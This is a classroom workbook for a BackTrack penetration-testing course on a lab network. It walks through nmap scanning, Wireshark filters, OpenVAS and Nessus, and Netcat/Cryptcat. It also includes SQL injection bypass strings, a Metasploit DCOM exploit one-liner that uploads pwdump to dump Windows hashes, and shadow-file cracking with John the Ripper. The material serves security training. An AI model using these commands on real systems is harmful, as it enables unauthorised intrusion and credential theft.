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Let’s get started

This course is designed on three levels so there’s something for everybody. 

New to security tools?  We will discuss and demo each section of the handout in the main room.  Lots of conversation and demo.  This is an awareness session.

Security tools have lots of specific software that need practice to master.  Tools such as Wireshark or Nmap require lots of traffic and study to really understand the tool.  This event will provide traffic while the workbook provides guidance.    You can work on any section of the workbook from anywhere in the WiFi coverage area.  This is a training event.

Want a challenge?  Go to the Professional Education page and answer the questions.  That simple.  OK, they are not that simple.  You can work on these from any where the WiFi reaches.  Stop back after the last break to check your answers and maybe even get a prize.

State 5 basic tasks needed to get Backtrack functional

ISO download, burn

Loading

Starting Network

Starting Graphical Interface

Finding real tools 

Loading VMplayer and Backtrack on your computer.

Passing around the room are DVD’s and USB with programs to be copied to your hard drive.  These files will let you use what you learn everywhere you go.

- VMplayer 
- Backtrack ISO 
- Tool Time Workbook (this manual)

Just double click on the VMplayer to install.  Just say Yes.

Now that’s installed, lets add the backtrack image file to it.  Open VMplayer and follow the screens.  Select the Backtrack ISO.

When the file boot up, you are presented with a menu.  Select the Live DVD choice and let it go.  This installs NOTHING on your hard drive.
You’ll get the famous root@bt:~#  prompt.  (same as C>).  
Lets do some command line work. 
If you install this on a hard drive, then here is the logon information.  

User: root
Password: toor
Linux command line interface

You need the basics of how to move around from the command line.  Most of the best programs are NOT on the menu, they’re in a folder called /Pentest.   Linux command are a lot like DOS, which makes them very confusing.  Linux is CaSE Sensitive!!!   

Here are the Basic Linux Commands:  
THESE ARE IMPORTANT – PRACTICE THEM
	ls 
	dir
	List files and folder

	cd 
	cd
	Change directory ->  cd /etc/bin

	cd .. 
	cd..
	Up a directory

	cd / 
	cd/
	To top directory

	ifconfig 
	ipconfig
	status of NIC,  ifconfig eth0 up or down

	iwconfig
	ipconfig
	status of wireless card,  iwconfig wlan0 up 

	root 
	administrator
	Rooting the computer

	sudo su
	start admin rights
	Gets you to administrative accounts (root)

	cat  
	type or read a file
	cat README

	cp  
	copy
	Just like windows

	mv 
	move
	Like windows

	rm 
	remove
	Same



Exercise: use these command and move around the disk.  Answer these questions.

In /pentest/enumeration  what folder begins with w? _______________ 

In /proc how may folder begin with V?  ________

Locate is the command to find stuff.  Locate any file such as nmap by typing: 
locate nmap |more    (the | more keeps it from scrolling off the screen)

Exercise: answer these questions. 

Where is the local user copy located?  __________________________________

Where is the folder seat?  ___________________________

Locate and read the file cisco-auditing-tool.  How many tasks are left to do?  

Starting the network.

Antivirus

Default antivirus is ClamAV.  Usually doesn’t start at startup so make sure you start it BEFORE you get on the network.  It should be updated as soon as you can connect to the Internet.  You’ll see lots of error message during updating, just ignore them.

Starting ClamAV: 

root@bt# cd /etc/init.d
./clamav-freshclam status
./clamav-freshclam start (stop | restart | force-reload)


Start it updating with: freshclam  

Check for root kits.   chkrootkit (forensics)  

Exercise:  Check your root folder for root kits.  Any problems?

Firewall

User Fire Wall  The default firewall in BT is NOT ON by default.  So you need to turn it on.  

root@bt# ufw status (enable | disable| app list | 


Exercise: Reboot Backtrack and check to see if the firewall is on by default. Is your firewall on?  Turn it on.  Is it on now?

Getting an IP
Static IP address:  THIS ADDRESS WILL BE GIVEN TO YOU IN CLASS
ifconfig eth0 10.0.0.xxx :set IP address  
route add –net 10.0.0/8 gw 10.0.0.1    :set default gateway & sub net mask

or do this in one line:

route add default gw 10.0.0.1       set default gateway & sub net mask

then add the name server

echo nameserver 10.0.0.1 > /etc/resolv.conf 
:sets DNS server

Exercise:  Set IP, subnet and gateway for the Class A 10.0.0. Network.  The IP address will be given to you in class.

Exercise 2:  Use the CAT command and view the resolv.conf file go make sure the information was written to the file.

Starting wireless 

/etc/init.d/wicd start         starts the wireless adapter

You MUST also start from graphical menu, Internet tab, wicd
Starting wired with DHCP server present:

/etc/init.d/networking start      starts the dhcp client

dhclient     also gets an address from DHCP
Let’s get connected:

You should have VMplayer loaded and the Backtrack ISO loaded.  You should be a the # prompt.  
Start the graphical desktop  by typing: startx
In a few minutes you’ll see the graphic interface.  Use the dragon button on the lower R corner like the start button in windows.  
If you do not have network access please let an instructor know.

List steps in order needed to properly evaluate/penetrate network security

 Backtrack Method (National Cyber Defense Method)

1. Information Gathering (Footprinting)

2. Network Mapping (Fingerprinting)

3. Vulnerability Identification

4. Penetration

5. Privilege Escalation

6. Maintaining Access

7. Covering Tracks

CEH Method: 

1 Reconnaissance

2 Scanning

3 Gaining Access

4 Maintaining Access

5 Covering Tracks

Cite reasons some target are yummier than others 

1. Greed
2. Bad administrator
3. Server uptime
4. Bad web designer 

5. Revenge
Review basic Wireshark commands used to monitor networks

WireShark  is the premier packet analyzer.  Learn it well!!!  See additional Handout.

wireshark the real power is in the filters.  You’ll enjoy looking at what the network really looks like.  Note the source, destination and the protocol.  The bottom panes are for drilling down.  Learn to filter for specific port or machine.  This will help you decide what traffic come from each machine.   Ask or be Told?
 If the filter syntax is correct, it will be highlighted in green, othewise if there is a to syntax mistake it will be highlighted in red.

Exercise:  What do these filters do?
	
	Filter (use appropriate IPs)

	1
	ip.addr==10.20.30.3

	2
	ip.src== 10.0.0.3

	3
	ip.addr==targetIP && ip.addr==96.17.181.18

	4
	ip.addr==targetIP or ip.addr==96.17.181.18

	5
	ip.dst== 10.20.30.36 && tcp.port=443

	6
	eth.addr=MACaddress

	7
	eth.src==MACaddress

	8
	etc.dst==MACaddress


Supplementary information about the display filters can be found on the Wireshark official website or on the Wiki WireShark website. 

	
	What they show

	1
	Traffic from IP

	2
	Source traffic from IP

	3
	Traffic from IP & from IP

	4
	Traffic from IP OR from IP

	5
	Destination IP w/ 443

	6
	Traffic from MAC

	7
	Traffic w/ source MAC

	8
	Traffic w/ destination MAC


State 3 programs used for gathering information 

Every test starts with basic information gathering.  Whether it’s you own or someone else’s.  Most of the time in a successful hack is spent in doing the basic mundane steps.  Let’s get to step-in.

Maltego  This is a great program for finding general information.  Open it up and drag an icon from the edge into the middle.  Say, an IP address.  Now click to change thye value to your choice.  Do the transformations and actually read what they are looking for.  You must be register to use and have a valid email account before stating.  

DNS zone transfer  This simple technique allow you to see who is visiting whom.  This is the start to a DNS redirect attack.  Here is the command for Linux.

host –t ns target.com     list the name servers for the target domain

host -l target.com ns1.target.com    zone transfer

Exercise:  Use nmap and find a DNS server and try a zone transfer.   
DNS uses port _______   
The command for nmap would be _______________________
TheHarvester  this is an updated and combined version of several old programs.  Provides more data than most.  

/pentest/enumeration/google     NOTE: the folder = h but program = H
./theHarvester.py –d target.com –l 500 –b google

./theHarvester.py –d target.com –b pgp

./theHarvester.py –d target.com –l 500 –b linkedin

Exercise:  How many linkedin accounts does microsoft.com have?  ____

Verbalize and demonstrate 5 programs used for network mapping and analysis

Once you know what targets are alive in the area, you need to know what software and what version is running.  If you have this knowledge, then you match the attacks to the version running or specially look for new holes in that version.

We determine what is running by several means; the most common is what port it’s on.  Here is a refresher list for your reference during this event.

Common Ports

	Port
	Protocol

	20 / 21
	FTP

	22
	SSH over TCP/IP

	23
	Telnet 

	25
	SMTP

	80
	HTTP (Web)

	110
	POP3

	135, 137,138,139
	Microsoft RPC/NetBIOS

	161 / 162 UDP
	SNMP

	443
	HTTPS

	445
	Microsoft  AD


Nmap really is the Swiss army knife of security tools.  Lots of switches and tweaks to make it a great scanner.  Here is the simplist scan:

nmap 127.0.0.1

nmap -A 127.0.0.1
Simple to use with great results but takes lots of time to master what the difference really is.  
Here are the meanings.  Memorize!!
-sS TCP SYN scan or Stealth, half open (default)
-sT TCP full connect (very noisy)
-sU UDP scan
-PS SYN packet discovery (best against stateful firewalls)
-PA ACK packet discovery (best against stateless firewalls)
-PN don’t ping
-n no reverse DNS lookup
-O OS fingerprinting
-sV service version (banner)
-A combines -O and -sV
-p ports to scan (T:port,U:port)
-iL input list of hosts to scan

Exercise: nmap 10.40.50.1-50    What are the results?

Now try these and observe the results.  Pick a specific IP address and run these different switches so you can see the difference.  Start by typing nmap –h  so you can have the switch definition on the screen.
Nmap targetIP

nmap –vv –A targetIP

nmap -sS -PN -n targetIP

nmap -sU -PN -n targetIP
nmap -n -sV -O targetIP
nmap -sS -p T:433 targetIP

nmap –Pn –sS –p 80 –iR --open
YOU ARE NEVER DONE LEARNING NETWORK MAPPING!

Information, Network Mapping, Identify Live Hosts

Angry Scanner  is used do fast scans on large networks.  Select AS then put in the range and go.  Very fast.
Exercise:  run Angry scanner on the 10.23.2.0/16 network.  How long did it take?__________

Why is the amount of time a machine has been up a threat?  __________________

Lanmap  this program makes a map of traffic on the network.  

lanmap –vvv –i eth0 –T png   this creates a png map from eth0 and puts it on the desktop.

Exercise: make a lanmap of the practice network.  You’ll find this really fascinating and useful in real life.  

Demonstrate how to setup and use OpenVAS vulnerability scanner (BT4 ONLY)
OpenVas  this popular Open Source Vulnerability tester is a great place to start.  Simple setup: make cert, add user, update service, start server, attach client.  Done

1 OpenVas Make Cert 

a. Answer questions if you want or default is OK.  (push Enter till done)

b. 2 public/private keys are made for server and authorization

2 OpenVas Add User

a. Login: root   (or whomever you’re logged in as)

b. Authentication is pass  (password)  

c. Enter password, it will ask twice

d. Ctrl-D for a blank rule set (we’ll pick that later)

e. All is Ok so push Enter

f. User added should show on the screen.

3 Download updates

a. OpenVas NVT Sync

b. This takes a while so relax

4 Start OpenVas Scanner

a. It’ll update the scans but not all will be held back.  Expect errors.

5 OpenVas Client

a. Click on the plugs that are plugged together, Enter password, click OK

b. Accept SSL certificate on default setting (1st choice), click OK

c. Should start connecting server / client / updates 

d.  Make Task and name, make Scope and name

e. Select Enable All, check Optimize Tests and check Safe Check 

f. Fill in SMB credentials if you know them (works better)

g. Set IP and Start 

The key is to WAIT for this program.  Be Patience.

Discuss 2 other automated vulnerability scanners and state how to secure demo copies

1) Nessus  this vulnerability scanner has recently been updated to a web browser interface.  Better detection is available with the “professional feed” which gives you fresher and better attacks.
BACKTRACK 5: Nessus is the new standard and OpenVAS is out.  No, I never ask why.  Nessus is easy to setup in BT5, just follow the menu.

Register, add SSER (user) then START.  All off the menu.  Just wait for the email, paste the command with the registration code and your good to go.
2) Core, Saint, R7
Demonstrate 2 different methods of SQL injection

Evaluating SQL

Structured Query Language (SQL) is still a great attack vector because once it’s cracked you get the goodies, sorta like a piñata.  Each version of SQL uses different ports so to make a comprehensive assessment, you must scan for the different versions.  

	MS SQL
	TCP 1433, UDP 1434

	Oracle
	TCP 1521

	MY SQL
	TCP 3306

	IBM Tivoli
	TCP 16311 (HTTPS)

	IBM DB2
	TCP 50000


SQL Injection:
nmap -sS -p 1521 targetIP-range 
nmap -sS -p T:1433,U:1434 targetIP-range 
Release Version of SqlServer.exe
SQL Server 2005 RTM 2005.90.1399
SQL Server 2005 SP1 2005.90.2047
SQL Server 2005 SP2 2005.90.3042
Now that you know where the sql servers are you can use a collection of tools to do the heavy lifting.  /pentest/database
Mssqlscan:  This simple program finds the problems with MS SQL
./mssqlscan.sh –t 192.168.1-2.* -o mssqlresults.txt

Exercise: How many MS SQL servers are on the 10.100 network?

Metacortex: graphical tool for assessing SQL
./mctx.sh     automatically starts the graphical front end.

Web based SQl injection
Authentication bypass:
‘ or 1=1–       minus minus closes the SQL query, everything after it is ignored so 2 minuses - - but both together.
Enumerating table names:
‘ having 1=1–
‘ group by table having 1=1–
‘ group by table, table2 having 1=1–
‘ group by table, table2, table3 having 1=1–

List tools available for network penetration and demonstrate 1 of them

Fast-Track  this is an automated scanner that combines nmap and metasploit into once complete easy to hack package.

From the main menu: /Pentest / Penetration / Fast Track/ Fast-Track Interactive (or /pentest/exploits folder)
Follow the prompts!!  Update before using!!

Exercise: Can you find a target in that can be penetrated?   IP _________

MetaSploit

MetaSploit is better than a Swiss army knife because they keep adding more blades to it.  This is a complex programs that is used by most pen testers and hackers.  New exploit modules are being added all the time.  

Start by updating MetaSploit, open a terminal window and enter:
svn update update framework

Start the Web Interface then open a browser to 127.0.0.1:55555
./msfweb 

Start the command Console:
./msfconsole


Show available options
show exploits
show payloads
show auxiliary

How to exploit
The hardest part is picking payloads and targets.  You need to have a specific OS or application in mind to attack.  Check to see if exploits are in Metasploit for what you want to attack.  Use the search exploits command.  Now highlight the first line of which exploit you want and copy.  Now type USE and Paste the exploit command at that at the msf> prompt.  

Check the exploits options with the show options command, sometimes you need to set the remote host (thing to attack) with the rhost command and sometimes you need to put your address in with the lhost command.  Pick the payload next with the show payloads command.  Be careful as some don’t run well in a virtual environment.  Again copy and past with the set command to “set” the payload with the exploit.

Check the show options to make sure all is filled out and use the show target to make sure you have picked on that works with what you want to attack.  

This program takes practice but there is lots of free training out there.  Start with the Metasploit or the Backtrack sites.  
search exploits XXXX
things like XP or OSX
use xxxx
show options
set RHOST 192.168.1.3
show payloads
set PAYLOAD
show options
set LHOST 192.168.1.2
show targets
set TARGET 
exploit
Interactive sessions:
sessions –l 

list active sessions
sessions -i 4
interact with session 4
sessions -k 4
kill session 4
jobs –K 

kill all jobs
Metasploit Auxiliary scanners
These scanners are built in and simple to use.  Just use the show auxiliary command to see what’s available.  Now use the USE command and the SET to pick options and lastly it’s a RUN command to start.  Lots of choices and save time finding targets, plus results from other scanners.

show auxiliary
use
set
run
scanner/discovery/sweep_udp
scanner/smb/version
scanner/mssql/mssql_ping
scanner/mssql/mssql_login

Payloads:
Attacker behind firewall: bind shell
Target behind firewall: reverse shell
Discuss password file format an demonstrate how to crack them
File formats 
SAM file:

%SYSTEMROOT%/system32/config
%SYSTEMROOT%/repair backup copy not locked by the OS

John the Ripper, (jtr) pentest/password there are three modes, list (brute force from a word list), single crack (most common used) and incremental (every letter/symbol/number in every location)
cat /etc/password
./unshadow
cp /etc/passwd passwd
cp /etc/shadow shadow
unshadow passwd shadow > cracked
cat cracked

should see the combined files
./jtr cracked
Dumping hashes with Metasploit
./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E
meterpreter > upload -r /tmp/pwdump6 c:\\windows\\system32\\
meterpreter > execute -f cmd -c
meterpreter > interact x 

Where x is Channel created
C:\WINDOWS\system32> pwdump \\127.0.0.1

Rainbow Tables:
rcrack *.rt -f hash.txt

Ophcrack / GUI   New GUI interface for this old program.  Just insert the hash text and off you go.

Recite how Cryptcat, Netcat and Stunnel work and demonstrate 1 of them

Used to keep in touch with the targets once you compromised them.  These are classified under “Maintaining Access” in the menu system.  Most have the same commands structure so pick one and practice, practice and practice.  
  Netcat -> Clear Text Sending.
  Cryptcat -> AES Encryption. 
  Socat -> SSL Encryption (Most advanced Cat)
Netcat:  This is the Swiss army knife.  Know it.  Here we use it for connecting to another computer to move data.
attacker: 10.1.1.1
target: 10.1.1.2

Port scanner:
nc -v -z 10.1.1.2 1-1024    scan ports 1 to 1024
Chat session:
target: nc -lvp 4444     start Netcat and listen verbosely on port 4444
attacker: nc -v 10.1.1.2 4444

Transfer file to target:
target: nc -lvp 4444 > output.txt
attacker: nc -v 10.1.1.2 4444 words
cat words | wc -l
About 306,000 passwords.

CryptCat   Works just like netcat but is sent encrypted.  
You can then run commands from window2 and receive the command response on window1.
Victim computer listening on port 3333
  
 >$ crypcat -l -p 3333 

Attacker machine on port 3333

>$ cryptcat 10.20.30.200 3333
banner grabbing SNMTP

>$ cryptcat 192.168.1.1 25-220 10.20.30.201 ESMTP Sendmail 8.10.2+Sun/8.10.2; Sun

PORT SCANNER with:

>$ cryptcat -v -z 10.20.30.201 1-9999

sp00f your source IP Address

>$ cryptcat -s 69.13.37.69 192.168.1.1

Transfering Files

>$ cryptcat -v -l -p 9999 < take_me.txt
>$ cryptcat -v 10.20.30.200 9999 take_me.txt

gateway 69.13.37.69 to 10.20.30.1 port 9999

>$ cryptcat -g 69.13.37.69 10.20.30.1 9999

 State 2 places to locate the most common hacker software code

Exploit-db.com

Pastebin 
Describe where to get additional help and knowledge about these tools

Metasploit web site:  This site has lots of attacks for your   

http://www.metasploit.com 

Exploit DB:   this is a great database of exploits (thus the name) maintained by the Backtrack people.  Both on the disk and on the web, it gives you a great source of attacks.  

Want to know the next attack vector?  Check here!

cd /pentest/exploits/exploitdb
./searchsploit local windows
cat files.csv | grep -i [exploit]      widows, local, remote, whatever…

More help.
http://packetstormsecurity.org/        

Summary

Lots to learn on this one disk.  If you learn the 4 basic programs well and understand in intrusion process, you’re well on the way to being a knowledgeable security professional.  The four major programs we focused on are all available for Windows so these simple tools will make any security assessment jobs easier.

WireShark:  this packet capture program lets you analyze what’s coming and going over your wire.  Lots of filters allow you to narrow your search to exactly what you need.

NMAP:  this program is perfect for the first scans then for fingerprinting the service’s that are running.  Use several types of scans so you don’t miss anything.  


MetaSploit:  this is not just an attack program it contains scripts for assessing your security.  Constantly updated, get ready for the new hacks you see in here.


Cryptcat or Netcat:  this is the transport programs that moves data in and out of your network.  ..cats can also does scans, chat and more

We want you to understand the steps that hackers go through when they are assessing your network for penetration purposes.  The tools you learn here are the same ones used around the world, so hackers have no advantage on you!

Mastering a few versatile programs will help you understand the more specialized tools included on the any of the live security DVDs.  

Thanks for attending and good luck!!
5
Donated by The Computer Institute of the Rockies
2


